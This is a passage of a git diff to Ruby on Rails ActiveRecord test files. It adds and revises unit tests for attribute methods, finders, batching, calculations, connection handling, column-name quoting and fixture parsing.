a/activerecord/test/cases/attribute_methods/read_test.rb +++ b/activerecord/test/cases/attribute_methods/read_test.rb @@ -35,6 +35,7 @@ module ActiveRecord end def self.serialized_attributes; {}; end + def self.base_class; self; end end end diff --git a/activerecord/test/cases/attribute_methods_test.rb b/activerecord/test/cases/attribute_methods_test.rb index 5074ae50ab..b1b41fed0d 100644 --- a/activerecord/test/cases/attribute_methods_test.rb +++ b/activerecord/test/cases/attribute_methods_test.rb @@ -109,6 +109,15 @@ class AttributeMethodsTest < ActiveRecord::TestCase assert_respond_to topic, :title end + # IRB inspects the return value of "MyModel.allocate" + # by inspecting it. + def test_allocated_object_can_be_inspected + topic = Topic.allocate + topic.instance_eval { @attributes = nil } + assert_nothing_raised { topic.inspect } + assert topic.inspect, "#<Topic not initialized>" + end + def test_array_content topic = Topic.new topic.content = %w( one two three ) @@ -126,7 +135,12 @@ class AttributeMethodsTest < ActiveRecord::TestCase if current_adapter?(:MysqlAdapter) def test_read_attributes_before_type_cast_on_boolean bool = Boolean.create({ "value" => false }) - assert_equal 0, bool.reload.attributes_before_type_cast["value"] + if RUBY_PLATFORM =~ /java/ + # JRuby will return the value before typecast as string + assert_equal "0", bool.reload.attributes_before_type_cast["value"] + else + assert_equal 0, bool.reload.attributes_before_type_cast["value"] + end end end @@ -417,30 +431,6 @@ class AttributeMethodsTest < ActiveRecord::TestCase assert topic.is_test? end - def test_kernel_methods_not_implemented_in_activerecord - %w(test name display y).each do |method| - assert !ActiveRecord::Base.instance_method_already_implemented?(method), "##{method} is defined" - end - end - - def test_defined_kernel_methods_implemented_in_model - %w(test name display y).each do |method| - klass = Class.new ActiveRecord::Base - klass.class_eval "def #{method}() 'defined #{method}' end" - assert klass.instance_method_already_implemented?(method), "##{method} is not defined" - end - end - - def test_defined_kernel_methods_implemented_in_model_abstract_subclass - %w(test name display y).each do |method| - abstract = Class.new ActiveRecord::Base - abstract.class_eval "def #{method}() 'defined #{method}' end" - abstract.abstract_class = true - klass = Class.new abstract - assert klass.instance_method_already_implemented?(method), "##{method} is not defined" - end - end - def test_raises_dangerous_attribute_error_when_defining_activerecord_method_in_model %w(save create_or_update).each do |method| klass = Class.new ActiveRecord::Base @@ -594,7 +584,7 @@ class AttributeMethodsTest < ActiveRecord::TestCase topic = @target.new(:title => "The pros and cons of programming naked.") assert !topic.respond_to?(:title) exception = assert_raise(NoMethodError) { topic.title } - assert_match %r(^Attempt to call private method), exception.message + assert exception.message.include?("private method") assert_equal "I'm private", topic.send(:title) end @@ -604,7 +594,7 @@ class AttributeMethodsTest < ActiveRecord::TestCase topic = @target.new assert !topic.respond_to?(:title=) exception = assert_raise(NoMethodError) { topic.title = "Pants"} - assert_match %r(^Attempt to call private method), exception.message + assert exception.message.include?("private method") topic.send(:title=, "Very large pants") end @@ -614,7 +604,7 @@ class AttributeMethodsTest < ActiveRecord::TestCase topic = @target.new(:title => "Isaac Newton's pants") assert !topic.respond_to?(:title?) exception = assert_raise(NoMethodError) { topic.title? } - assert_match %r(^Attempt to call private method), exception.message + assert exception.message.include?("private method") assert topic.send(:title?) end @@ -645,6 +635,37 @@ class AttributeMethodsTest < ActiveRecord::TestCase assert_equal %w(preferences), Contact.serialized_attributes.keys end + def test_instance_method_should_be_defined_on_the_base_class + subklass = Class.new(Topic) + + Topic.define_attribute_methods + + instance = subklass.new + instance.id = 5 + assert_equal 5, instance.id + assert subklass.method_defined?(:id), "subklass is missing id method" + + Topic.undefine_attribute_methods + + assert_equal 5, instance.id + assert subklass.method_defined?(:id), "subklass is missing id method" + end + + def test_dispatching_column_attributes_through_method_missing_deprecated + Topic.define_attribute_methods + + topic = Topic.new(:id => 5) + topic.id = 5 + + topic.method(:id).owner.send(:remove_method, :id) + + assert_deprecated do + assert_equal 5, topic.id + end + ensure + Topic.undefine_attribute_methods + end + private def cached_columns @cached_columns ||= (time_related_columns_on_topic + serialized_columns_on_topic).map(&:name) diff --git a/activerecord/test/cases/autosave_association_test.rb b/activerecord/test/cases/autosave_association_test.rb index 8f55b7ebe6..4ad2cdfc7e 100644 --- a/activerecord/test/cases/autosave_association_test.rb +++ b/activerecord/test/cases/autosave_association_test.rb @@ -837,7 +837,7 @@ class TestDestroyAsPartOfAutosaveAssociation < ActiveRecord::TestCase @pirate.parrots.each { |parrot| parrot.mark_for_destruction } assert @pirate.save - assert_no_queries do + assert_queries(0) do assert @pirate.save end end diff --git a/activerecord/test/cases/base_test.rb b/activerecord/test/cases/base_test.rb index bfb66f07da..12c1cfb30e 100644 --- a/activerecord/test/cases/base_test.rb +++ b/activerecord/test/cases/base_test.rb @@ -21,8 +21,11 @@ require 'models/parrot' require 'models/person' require 'models/edge' require 'models/joke' +require 'models/bulb' +require 'models/bird' require 'rexml/document' require 'active_support/core_ext/exception' +require 'bcrypt' class Category < ActiveRecord::Base; end class Categorization < ActiveRecord::Base; end @@ -53,9 +56,42 @@ class Weird < ActiveRecord::Base; end class Boolean < ActiveRecord::Base; end +class LintTest < ActiveRecord::TestCase + include ActiveModel::Lint::Tests + + class LintModel < ActiveRecord::Base; end + + def setup + @model = LintModel.new + end +end + class BasicsTest < ActiveRecord::TestCase fixtures :topics, :companies, :developers, :projects, :computers, :accounts, :minimalistics, 'warehouse-things', :authors, :categorizations, :categories, :posts + def test_column_names_are_escaped + conn = ActiveRecord::Base.connection + classname = conn.class.name[/[^:]*$/] + badchar = { + 'SQLite3Adapter' => '"', + 'MysqlAdapter' => '`', + 'Mysql2Adapter' => '`', + 'PostgreSQLAdapter' => '"', + 'OracleAdapter' => '"', + }.fetch(classname) { + raise "need a bad char for #{classname}" + } + + quoted = conn.quote_column_name "foo#{badchar}bar" + if current_adapter?(:OracleAdapter) + # Oracle does not allow double quotes in table and column names at all + # therefore quoting removes them + assert_equal("#{badchar}foobar#{badchar}", quoted) + else + assert_equal("#{badchar}foo#{badchar * 2}bar#{badchar}", quoted) + end + end + def test_columns_should_obey_set_primary_key pk = Subscriber.columns.find { |x| x.name == 'nick' } assert pk.primary, 'nick should be primary key' @@ -133,25 +169,6 @@ class BasicsTest < ActiveRecord::TestCase end end - def test_use_table_engine_for_quoting_where - relation = Topic.where(Topic.arel_table[:id].eq(1)) - engine = relation.table.engine - - fakepool = Class.new(Struct.new(:spec)) { - def with_connection; yield self; end - def connection_pool; self; end - def table_exists?(name); false; end - def quote_table_name(*args); raise "lol quote_table_name"; end - } - - relation.table.engine = fakepool.new(engine.connection_pool.spec) - - error = assert_raises(RuntimeError) { relation.to_a } - assert_match('lol', error.message) - ensure - relation.table.engine = engine - end - def test_preserving_time_objects assert_kind_of( Time, Topic.find(1).bonus_time, @@ -250,6 +267,41 @@ class BasicsTest < ActiveRecord::TestCase end end + def test_create_after_initialize_without_block + cb = CustomBulb.create(:name => 'Dude') + assert_equal('Dude', cb.name) + assert_equal(true, cb.frickinawesome) + end + + def test_create_after_initialize_with_block + cb = CustomBulb.create {|c| c.name = 'Dude' } + assert_equal('Dude', cb.name) + assert_equal(true, cb.frickinawesome) + end + + def test_first_or_create + parrot = Bird.first_or_create(:color => 'green', :name => 'parrot') + assert parrot.persisted? + the_same_parrot = Bird.first_or_create(:color => 'yellow', :name => 'macaw') + assert_equal parrot, the_same_parrot + end + + def test_first_or_create_bang + assert_raises(ActiveRecord::RecordInvalid) { Bird.first_or_create! } + parrot = Bird.first_or_create!(:color => 'green', :name => 'parrot') + assert parrot.persisted? + the_same_parrot = Bird.first_or_create!(:color => 'yellow', :name => 'macaw') + assert_equal parrot, the_same_parrot + end + + def test_first_or_initialize + parrot = Bird.first_or_initialize(:color => 'green', :name => 'parrot') + assert_kind_of Bird, parrot + assert !parrot.persisted? + assert parrot.new_record? + assert parrot.valid? + end + def test_load topics = Topic.find(:all, :order => 'id') assert_equal(4, topics.size) @@ -367,6 +419,15 @@ class BasicsTest < ActiveRecord::TestCase GUESSED_CLASSES.each(&:reset_table_name) end + def test_singular_table_name_guesses_for_individual_table + CreditCard.pluralize_table_names = false + CreditCard.reset_table_name + assert_equal "credit_card", CreditCard.table_name + assert_equal "categories", Category.table_name + ensure + CreditCard.pluralize_table_names = true + CreditCard.reset_table_name + end if current_adapter?(:MysqlAdapter) or current_adapter?(:Mysql2Adapter) def test_update_all_with_order_and_limit @@ -470,6 +531,19 @@ class BasicsTest < ActiveRecord::TestCase assert_equal [ Topic.find(1) ], [ Topic.find(2).topic ] & [ Topic.find(1) ] end + def test_comparison + topic_1 = Topic.create! + topic_2 = Topic.create! + + assert_equal [topic_2, topic_1].sort, [topic_1, topic_2] + end + + def test_comparison_with_different_objects + topic = Topic.create + category = Category.create(:name => "comparison") + assert_nil topic <=> category + end + def test_readonly_attributes assert_equal Set.new([ 'title' , 'comments_count' ]), ReadonlyTitlePost.readonly_attributes @@ -493,13 +567,6 @@ class BasicsTest < ActiveRecord::TestCase assert_equal 'value2', weird.send('a$b') end - def test_attributes_guard_protected_attributes_is_deprecated - attributes = { "title" => "An amazing title" } - post = ProtectedTitlePost.new - assert_deprecated { post.send(:attributes=, attributes, false) } - assert_equal "An amazing title", post.title - end - def test_multiparameter_attributes_on_date attributes = { "last_read(1i)" => "2004", "last_read(2i)" => "6", "last_read(3i)" => "24" } topic = Topic.find(1) @@ -515,7 +582,7 @@ class BasicsTest < ActiveRecord::TestCase topic.attributes = attributes # note that extra #to_date call allows test to pass for Oracle, which # treats dates/times the same - assert_date_from_db Date.new(1, 6, 24), topic.last_read.to_date + assert_nil topic.last_read end def test_multiparameter_attributes_on_date_with_empty_month @@ -524,7 +591,7 @@ class BasicsTest < ActiveRecord::TestCase topic.attributes = attributes # note that extra #to_date call allows test to pass for Oracle, which # treats dates/times the same - assert_date_from_db Date.new(2004, 1, 24), topic.last_read.to_date + assert_nil topic.last_read end def test_multiparameter_attributes_on_date_with_empty_day @@ -533,7 +600,7 @@ class BasicsTest < ActiveRecord::TestCase topic.attributes = attributes # note that extra #to_date call allows test to pass for Oracle, which # treats dates/times the same - assert_date_from_db Date.new(2004, 6, 1), topic.last_read.to_date + assert_nil topic.last_read end def test_multiparameter_attributes_on_date_with_empty_day_and_year @@ -542,7 +609,7 @@ class BasicsTest < ActiveRecord::TestCase topic.attributes = attributes # note that extra #to_date call allows test to pass for Oracle, which # treats dates/times the same - assert_date_from_db Date.new(1, 6, 1), topic.last_read.to_date + assert_nil topic.last_read end def test_multiparameter_attributes_on_date_with_empty_day_and_month @@ -551,7 +618,7 @@ class BasicsTest < ActiveRecord::TestCase topic.attributes = attributes # note that extra #to_date call allows test to pass for Oracle, which # treats dates/times the same - assert_date_from_db Date.new(2004, 1, 1), topic.last_read.to_date + assert_nil topic.last_read end def test_multiparameter_attributes_on_date_with_empty_year_and_month @@ -560,7 +627,7 @@ class BasicsTest < ActiveRecord::TestCase topic.attributes = attributes # note that extra #to_date call allows test to pass for Oracle, which # treats dates/times the same - assert_date_from_db Date.new(1, 1, 24), topic.last_read.to_date + assert_nil topic.last_read end def test_multiparameter_attributes_on_date_with_all_empty @@ -653,12 +720,7 @@ class BasicsTest < ActiveRecord::TestCase } topic = Topic.find(1) topic.attributes = attributes - assert_equal 1, topic.written_on.year - assert_equal 1, topic.written_on.month - assert_equal 1, topic.written_on.day - assert_equal 0, topic.written_on.hour - assert_equal 12, topic.written_on.min - assert_equal 2, topic.written_on.sec + assert_nil topic.written_on end def test_multiparameter_attributes_on_time_will_ignore_date_if_empty @@ -668,12 +730,7 @@ class BasicsTest < ActiveRecord::TestCase } topic = Topic.find(1) topic.attributes = attributes - assert_equal 1, topic.written_on.year - assert_equal 1, topic.written_on.month - assert_equal 1, topic.written_on.day - assert_equal 16, topic.written_on.hour - assert_equal 24, topic.written_on.min - assert_equal 0, topic.written_on.sec + assert_nil topic.written_on end def test_multiparameter_attributes_on_time_with_seconds_will_ignore_date_if_empty attributes = { @@ -682,12 +739,7 @@ class BasicsTest < ActiveRecord::TestCase } topic = Topic.find(1) topic.attributes = attributes - assert_equal 1, topic.written_on.year - assert_equal 1, topic.written_on.month - assert_equal 1, topic.written_on.day - assert_equal 16, topic.written_on.hour - assert_equal 12, topic.written_on.min - assert_equal 02, topic.written_on.sec + assert_nil topic.written_on end def test_multiparameter_attributes_on_time_with_utc @@ -1088,6 +1140,17 @@ class BasicsTest < ActiveRecord::TestCase self.table_name = 'numeric_data' end + def test_big_decimal_conditions + m = NumericData.new( + :bank_balance => 1586.43, + :big_bank_balance => BigDecimal("1000234000567.95"), + :world_population => 6000000000, + :my_house_population => 3 + ) + assert m.save + assert_equal 0, NumericData.where("bank_balance > ?", 2000.0).count + end + def test_numeric_fields m = NumericData.new( :bank_balance => 1586.43, @@ -1593,6 +1656,10 @@ class BasicsTest < ActiveRecord::TestCase assert !LooseDescendant.abstract_class? end + def test_abstract_class_table_name + assert_nil AbstractCompany.table_name + end + def test_base_class assert_equal LoosePerson, LoosePerson.base_class assert_equal LooseDescendant, LooseDescendant.base_class @@ -1764,6 +1831,13 @@ class BasicsTest < ActiveRecord::TestCase end end + def test_compute_type_argument_error + ActiveSupport::Dependencies.stubs(:constantize).raises(ArgumentError) + assert_raises ArgumentError do + ActiveRecord::Base.send :compute_type, 'InvalidModel' + end + end + def test_clear_cache! # preheat cache c1 = Post.columns @@ -1785,12 +1859,45 @@ class BasicsTest < ActiveRecord::TestCase end def test_marshal_round_trip + if ENV['TRAVIS'] && RUBY_VERSION == "1.8.7" + return skip("Marshalling tests disabled for Ruby 1.8.7 on Travis CI due to what appears " \ + "to be a Ruby bug.") + end + expected = posts(:welcome) - actual = Marshal.load(Marshal.dump(expected)) + marshalled = Marshal.dump(expected) + actual = Marshal.load(marshalled) assert_equal expected.attributes, actual.attributes end + def test_marshal_new_record_round_trip + if ENV['TRAVIS'] && RUBY_VERSION == "1.8.7" + return skip("Marshalling tests disabled for Ruby 1.8.7 on Travis CI due to what appears " \ + "to be a Ruby bug.") + end + + marshalled = Marshal.dump(Post.new) + post = Marshal.load(marshalled) + + assert post.new_record?, "should be a new record" + end + + def test_marshalling_with_associations + if ENV['TRAVIS'] && RUBY_VERSION == "1.8.7" + return skip("Marshalling tests disabled for Ruby 1.8.7 on Travis CI due to what appears " \ + "to be a Ruby bug.") + end + + post = Post.new + post.comments.build + + marshalled = Marshal.dump(post) + post = Marshal.load(marshalled) + + assert_equal 1, post.comments.length + end + def test_attribute_names assert_equal ["id", "type", "ruby_type", "firm_id", "firm_name", "name", "client_of", "rating", "account_id"], Company.attribute_names @@ -1803,4 +1910,29 @@ class BasicsTest < ActiveRecord::TestCase def test_attribtue_names_on_abstract_class assert_equal [], AbstractCompany.attribute_names end + + def test_cache_key_for_existing_record_is_not_timezone_dependent + ActiveRecord::Base.time_zone_aware_attributes = true + + Time.zone = "UTC" + utc_key = Developer.first.cache_key + + Time.zone = "EST" + est_key = Developer.first.cache_key + + assert_equal utc_key, est_key + ensure + ActiveRecord::Base.time_zone_aware_attributes = false + end + + def test_cache_key_format_for_existing_record_with_updated_at + dev = Developer.first + assert_equal "developers/#{dev.id}-#{dev.updated_at.utc.to_s(:number)}", dev.cache_key + end + + def test_cache_key_format_for_existing_record_with_nil_updated_at + dev = Developer.first + dev.update_attribute(:updated_at, nil) + assert_match(/\/#{dev.id}$/, dev.cache_key) + end end diff --git a/activerecord/test/cases/batches_test.rb b/activerecord/test/cases/batches_test.rb index 6620464d6a..660098b9ad 100644 --- a/activerecord/test/cases/batches_test.rb +++ b/activerecord/test/cases/batches_test.rb @@ -18,6 +18,13 @@ class EachTest < ActiveRecord::TestCase end end + def test_each_should_not_return_query_chain_and_execcute_only_one_query + assert_queries(1) do + result = Post.find_each(:batch_size => 100000){ } + assert_nil result + end + end + def test_each_should_raise_if_select_is_set_without_id assert_raise(RuntimeError) do Post.find_each(:select => :title, :batch_size => 1) { |post| post } @@ -93,4 +100,40 @@ class EachTest < ActiveRecord::TestCase end end end + + def test_find_in_batches_should_not_use_records_after_yielding_them_in_case_original_array_is_modified + not_a_post = "not a post" + not_a_post.stubs(:id).raises(StandardError, "not_a_post had #id called on it") + + assert_nothing_raised do + Post.find_in_batches(:batch_size => 1) do |batch| + assert_kind_of Array, batch + assert_kind_of Post, batch.first + + batch.map! { not_a_post } + end + end + end + + def test_find_in_batches_should_ignore_the_order_default_scope + # First post is with title scope + first_post = PostWithDefaultScope.first + posts = [] + PostWithDefaultScope.find_in_batches do |batch| + posts.concat(batch) + end + # posts.first will be ordered using id only. Title order scope should not apply here + assert_not_equal first_post, posts.first + assert_equal posts(:welcome), posts.first + end + + def test_find_in_batches_should_not_ignore_the_default_scope_if_it_is_other_then_order + special_posts_ids = SpecialPostWithDefaultScope.all.map(&:id).sort + posts = [] + SpecialPostWithDefaultScope.find_in_batches do |batch| + posts.concat(batch) + end + assert_equal special_posts_ids, posts.map(&:id) + end + end diff --git a/activerecord/test/cases/calculations_test.rb b/activerecord/test/cases/calculations_test.rb index 56f6d795b6..c38814713a 100644 --- a/activerecord/test/cases/calculations_test.rb +++ b/activerecord/test/cases/calculations_test.rb @@ -170,6 +170,13 @@ class CalculationsTest < ActiveRecord::TestCase assert_equal 60, c[2] end + def test_should_group_by_summed_field_having_condition_from_select + c = Account.select("MIN(credit_limit) AS min_credit_limit").group(:firm_id).having("MIN(credit_limit) > 50").sum(:credit_limit) + assert_nil c[1] + assert_equal 60, c[2] + assert_equal 53, c[9] + end + def test_should_group_by_summed_association c = Account.sum(:credit_limit, :group => :firm) assert_equal 50, c[companies(:first_firm)] @@ -397,6 +404,10 @@ class CalculationsTest < ActiveRecord::TestCase Account.sum(:credit_limit, :from => 'accounts', :conditions => "credit_limit > 50") end + def test_sum_array_compatibility + assert_equal Account.sum(:credit_limit), Account.sum(&:credit_limit) + end + def test_average_with_from_option assert_equal Account.average(:credit_limit), Account.average(:credit_limit, :from => 'accounts') assert_equal Account.average(:credit_limit, :conditions => "credit_limit > 50"), diff --git a/activerecord/test/cases/column_definition_test.rb b/activerecord/test/cases/column_definition_test.rb index d1dddd4c2c..14884e42af 100644 --- a/activerecord/test/cases/column_definition_test.rb +++ b/activerecord/test/cases/column_definition_test.rb @@ -58,68 +58,68 @@ module ActiveRecord if current_adapter?(:MysqlAdapter) def test_should_set_default_for_mysql_binary_data_types - binary_column = MysqlColumn.new("title", "a", "binary(1)") + binary_column = MysqlAdapter::Column.new("title", "a", "binary(1)") assert_equal "a", binary_column.default - varbinary_column = MysqlColumn.new("title", "a", "varbinary(1)") + varbinary_column = MysqlAdapter::Column.new("title", "a", "varbinary(1)") assert_equal "a", varbinary_column.default end def test_should_not_set_default_for_blob_and_text_data_types assert_raise ArgumentError do - MysqlColumn.new("title", "a", "blob") + MysqlAdapter::Column.new("title", "a", "blob") end assert_raise ArgumentError do - MysqlColumn.new("title", "Hello", "text") + MysqlAdapter::Column.new("title", "Hello", "text") end - text_column = MysqlColumn.new("title", nil, "text") + text_column = MysqlAdapter::Column.new("title", nil, "text") assert_equal nil, text_column.default - not_null_text_column = MysqlColumn.new("title", nil, "text", false) + not_null_text_column = MysqlAdapter::Column.new("title", nil, "text", false) assert_equal "", not_null_text_column.default end def test_has_default_should_return_false_for_blog_and_test_data_types - blob_column = MysqlColumn.new("title", nil, "blob") + blob_column = MysqlAdapter::Column.new("title", nil, "blob") assert !blob_column.has_default? - text_column = MysqlColumn.new("title", nil, "text") + text_column = MysqlAdapter::Column.new("title", nil, "text") assert !text_column.has_default? end end if current_adapter?(:Mysql2Adapter) def test_should_set_default_for_mysql_binary_data_types - binary_column = Mysql2Column.new("title", "a", "binary(1)") + binary_column = Mysql2Adapter::Column.new("title", "a", "binary(1)") assert_equal "a", binary_column.default - varbinary_column = Mysql2Column.new("title", "a", "varbinary(1)") + varbinary_column = Mysql2Adapter::Column.new("title", "a", "varbinary(1)") assert_equal "a", varbinary_column.default end def test_should_not_set_default_for_blob_and_text_data_types assert_raise ArgumentError do - Mysql2Column.new("title", "a", "blob") + Mysql2Adapter::Column.new("title", "a", "blob") end assert_raise ArgumentError do - Mysql2Column.new("title", "Hello", "text") + Mysql2Adapter::Column.new("title", "Hello", "text") end - text_column = Mysql2Column.new("title", nil, "text") + text_column = Mysql2Adapter::Column.new("title", nil, "text") assert_equal nil, text_column.default - not_null_text_column = Mysql2Column.new("title", nil, "text", false) + not_null_text_column = Mysql2Adapter::Column.new("title", nil, "text", false) assert_equal "", not_null_text_column.default end def test_has_default_should_return_false_for_blog_and_test_data_types - blob_column = Mysql2Column.new("title", nil, "blob") + blob_column = Mysql2Adapter::Column.new("title", nil, "blob") assert !blob_column.has_default? - text_column = Mysql2Column.new("title", nil, "text") + text_column = Mysql2Adapter::Column.new("title", nil, "text") assert !text_column.has_default? end end diff --git a/activerecord/test/cases/connection_adapters/connection_handler_test.rb b/activerecord/test/cases/connection_adapters/connection_handler_test.rb index abf317768f..bd0d161838 100644 --- a/activerecord/test/cases/connection_adapters/connection_handler_test.rb +++ b/activerecord/test/cases/connection_adapters/connection_handler_test.rb @@ -6,7 +6,12 @@ module ActiveRecord def setup @handler = ConnectionHandler.new @handler.establish_connection 'america', Base.connection_pool.spec - @klass = Struct.new(:name).new('america') + @klass = Class.new do + def self.name; 'america'; end + end + @subklass = Class.new(@klass) do + def self.name; 'north america'; end + end end def test_retrieve_connection @@ -28,6 +33,20 @@ module ActiveRecord def test_retrieve_connection_pool assert_not_nil @handler.retrieve_connection_pool(@klass) end + + def test_retrieve_connection_pool_uses_superclass_when_no_subclass_connection + assert_not_nil @handler.retrieve_connection_pool(@subklass) + end + + def test_retrieve_connection_pool_uses_superclass_pool_after_subclass_establish_and_remove + @handler.establish_connection 'north america', Base.connection_pool.spec + assert_not_same @handler.retrieve_connection_pool(@klass), + @handler.retrieve_connection_pool(@subklass) + + @handler.remove_connection @subklass + assert_same @handler.retrieve_connection_pool(@klass), + @handler.retrieve_connection_pool(@subklass) + end end end end diff --git a/activerecord/test/cases/connection_management_test.rb b/activerecord/test/cases/connection_management_test.rb index 85871aebdf..f554ceef35 100644 --- a/activerecord/test/cases/connection_management_test.rb +++ b/activerecord/test/cases/connection_management_test.rb @@ -25,6 +25,40 @@ module ActiveRecord assert ActiveRecord::Base.connection_handler.active_connections? end + class FakeBase < ActiveRecord::Base + def self.establish_connection spec + String === spec ? super : spec + end + end + + def test_url_host_no_db + spec = FakeBase.establish_connection 'postgres://foo?encoding=utf8' + assert_equal({ + :adapter => "postgresql", + :database => "", + :host => "foo", + :encoding => "utf8" }, spec) + end + + def test_url_host_db + spec = FakeBase.establish_connection 'postgres://foo/bar?encoding=utf8' + assert_equal({ + :adapter => "postgresql", + :database => "bar", + :host => "foo", + :encoding => "utf8" }, spec) + end + + def test_url_port + spec = FakeBase.establish_connection 'postgres://foo:123?encoding=utf8' + assert_equal({ + :adapter => "postgresql", + :database => "", + :port => 123, + :host => "foo", + :encoding => "utf8" }, spec) + end + def test_app_delegation manager = ConnectionManagement.new(@app) @@ -77,6 +111,13 @@ module ActiveRecord @management.call(@env) assert ActiveRecord::Base.connection_handler.active_connections? end + + test "proxy is polite to it's body and responds to it" do + body = Class.new(String) { def to_path; "/path"; end }.new + proxy = ConnectionManagement::Proxy.new(body) + assert proxy.respond_to?(:to_path) + assert_equal proxy.to_path, "/path" + end end end end diff --git a/activerecord/test/cases/connection_pool_test.rb b/activerecord/test/cases/connection_pool_test.rb index f92f4e62c5..8a0f453127 100644 --- a/activerecord/test/cases/connection_pool_test.rb +++ b/activerecord/test/cases/connection_pool_test.rb @@ -135,6 +135,10 @@ module ActiveRecord pool.with_connection end end + + def test_pool_sets_connection_visitor + assert @pool.connection.visitor.is_a?(Arel::Visitors::ToSql) + end end end end diff --git a/activerecord/test/cases/finder_test.rb b/activerecord/test/cases/finder_test.rb index 4e75eafe3d..3088ab012f 100644 --- a/activerecord/test/cases/finder_test.rb +++ b/activerecord/test/cases/finder_test.rb @@ -48,6 +48,15 @@ class FinderTest < ActiveRecord::TestCase assert Topic.exists? end + # exists? should handle nil for id's that come from URLs and always return false + # (example: Topic.exists?(params[:id])) where params[:id] is nil + def test_exists_with_nil_arg + assert !Topic.exists?(nil) + assert Topic.exists? + assert !Topic.first.replies.exists?(nil) + assert Topic.first.replies.exists? + end + def test_does_not_exist_with_empty_table_and_no_args_given Topic.delete_all assert !Topic.exists? @@ -140,23 +149,30 @@ class FinderTest < ActiveRecord::TestCase def test_find_with_group - developers = Developer.find(:all, :group => "salary", :select => "salary") + developers = Developer.find(:all, :group => "salary", :select => "salary") assert_equal 4, developers.size assert_equal 4, developers.map(&:salary).uniq.size end def test_find_with_group_and_having - developers = Developer.find(:all, :group => "salary", :having => "sum(salary) > 10000", :select => "salary") + developers = Developer.find(:all, :group => "salary", :having => "sum(salary) > 10000", :select => "salary") assert_equal 3, developers.size assert_equal 3, developers.map(&:salary).uniq.size - assert developers.all? { |developer| developer.salary > 10000 } + assert developers.all? { |developer| developer.salary > 10000 } end def test_find_with_group_and_sanitized_having - developers = Developer.find(:all, :group => "salary", :having => ["sum(salary) > ?", 10000], :select => "salary") + developers = Developer.find(:all, :group => "salary", :having => ["sum(salary) > ?", 10000], :select => "salary") assert_equal 3, developers.size assert_equal 3, developers.map(&:salary).uniq.size - assert developers.all? { |developer| developer.salary > 10000 } + assert developers.all? { |developer| developer.salary > 10000 } + end + + def test_find_with_group_and_sanitized_having_method + developers = Developer.group(:salary).having("sum(salary) > ?", 10000).select('salary').all + assert_equal 3, developers.size + assert_equal 3, developers.map(&:salary).uniq.size + assert developers.all? { |developer| developer.salary > 10000 } end def test_find_with_entire_select_statement @@ -236,6 +252,32 @@ class FinderTest < ActiveRecord::TestCase end end + def test_first_and_last_with_integer_should_use_sql_limit + assert_sql(/LIMIT 2|ROWNUM <= 2/) { Topic.first(2).entries } + assert_sql(/LIMIT 5|ROWNUM <= 5/) { Topic.last(5).entries } + end + + def test_last_with_integer_and_order_should_keep_the_order + assert_equal Topic.order("title").to_a.last(2), Topic.order("title").last(2) + end + + def test_last_with_integer_and_order_should_not_use_sql_limit + query = assert_sql { Topic.order("title").last(5).entries } + assert_equal 1, query.length + assert_no_match(/LIMIT/, query.first) + end + + def test_last_with_integer_and_reorder_should_not_use_sql_limit + query = assert_sql { Topic.reorder("title").last(5).entries } + assert_equal 1, query.length + assert_no_match(/LIMIT/, query.first) + end + + def test_first_and_last_with_integer_should_return_an_array + assert_kind_of Array, Topic.first(5) + assert_kind_of Array, Topic.last(5) + end + def test_unexisting_record_exception_handling assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1).parent @@ -659,6 +701,10 @@ class FinderTest < ActiveRecord::TestCase assert_nil Topic.find_by_title_and_author_name("The First Topic", "Mary") end + def test_find_by_two_attributes_but_passing_only_one + assert_raise(ArgumentError) { Topic.find_by_title_and_author_name("The First Topic") } + end + def test_find_last_by_one_attribute assert_equal Topic.last, Topic.find_last_by_title(Topic.last.title) assert_nil Topic.find_last_by_title("A title with no matches") @@ -940,6 +986,10 @@ class FinderTest < ActiveRecord::TestCase assert !another.persisted? end + def test_find_or_initialize_from_two_attributes_but_passing_only_one + assert_raise(ArgumentError) { Topic.find_or_initialize_by_title_and_author_name("Another topic") } + end + def test_find_or_initialize_from_one_aggregate_attribute_and_one_not new_customer = Customer.find_or_initialize_by_balance_and_name(Money.new(123), "Elizabeth") assert_equal 123, new_customer.balance.amount diff --git a/activerecord/test/cases/fixtures/file_test.rb b/activerecord/test/cases/fixtures/file_test.rb new file mode 100644 index 0000000000..e623fbe4d1 --- /dev/null +++ b/activerecord/test/cases/fixtures/file_test.rb @@ -0,0 +1,83 @@ +require 'cases/helper' +require 'tempfile' + +module ActiveRecord + class Fixtures + class FileTest < ActiveRecord::TestCase + def test_open + fh = File.open(::File.join(FIXTURES_ROOT, "accounts.yml")) + assert_equal 6, fh.to_a.length + end + + def test_open_with_block + called = false + File.open(::File.join(FIXTURES_ROOT, "accounts.yml")) do |fh| + called = true + assert_equal 6, fh.to_a.length + end + assert called, 'block called' + end + + def test_names + File.open(::File.join(FIXTURES_ROOT, "accounts.yml")) do |fh| + assert_equal ["signals37", + "unknown", + "rails_core_account", + "last_account", + "rails_core_account_2", + "odegy_account"].sort, fh.to_a.map(&:first).sort + end + end + + def test_values + File.open(::File.join(FIXTURES_ROOT, "accounts.yml")) do |fh| + assert_equal [1,2,3,4,5,6].sort, fh.to_a.map(&:last).map { |x| + x['id'] + }.sort + end + end + + def test_erb_processing + File.open(::File.join(FIXTURES_ROOT, "developers.yml")) do |fh| + devs = Array.new(8) { |i| "dev_#{i + 3}" } + assert_equal [], devs - fh.to_a.map(&:first) + end + end + + def test_empty_file + tmp_yaml ['empty', 'yml'], '' do |t| + assert_equal [], File.open(t.path) { |fh| fh.to_a } + end + end + + # A valid YAML file is not necessarily a value Fixture file. Make sure + # an exception is raised if the format is not valid Fixture format. + def test_wrong_fixture_format_string + tmp_yaml ['empty', 'yml'], 'qwerty' do |t| + assert_raises(ActiveRecord::Fixture::FormatError) do + File.open(t.path) { |fh| fh.to_a } + end + end + end + + def test_wrong_fixture_format_nested + tmp_yaml ['empty', 'yml'], 'one: two' do |t| + assert_raises(ActiveRecord::Fixture::FormatError) do + File.open(t.path) { |fh| fh.to_a } + end + end + end + + private + def tmp_yaml(name, contents) + t = Tempfile.new name + t.binmode + t.write contents + t.close + yield t + ensure + t.close true + end + end + end +end diff --git a/activerecord/test/cases/fixtures_test.rb b/activerecord/test/cases/fixtures_test.rb index b0bd9c5763..7e2dafcd01 100644 --- a/activerecord/test/cases/fixtures_test.rb +++ b/activerecord/test/cases/fixtures_test.rb @@ -20,6 +20,7 @@ require 'models/book' require 'models/admin' require 'models/admin/account' require 'models/admin/user' +require 'tempfile' class FixturesTest < ActiveRecord::TestCase self.use_instantiated_fixtures = 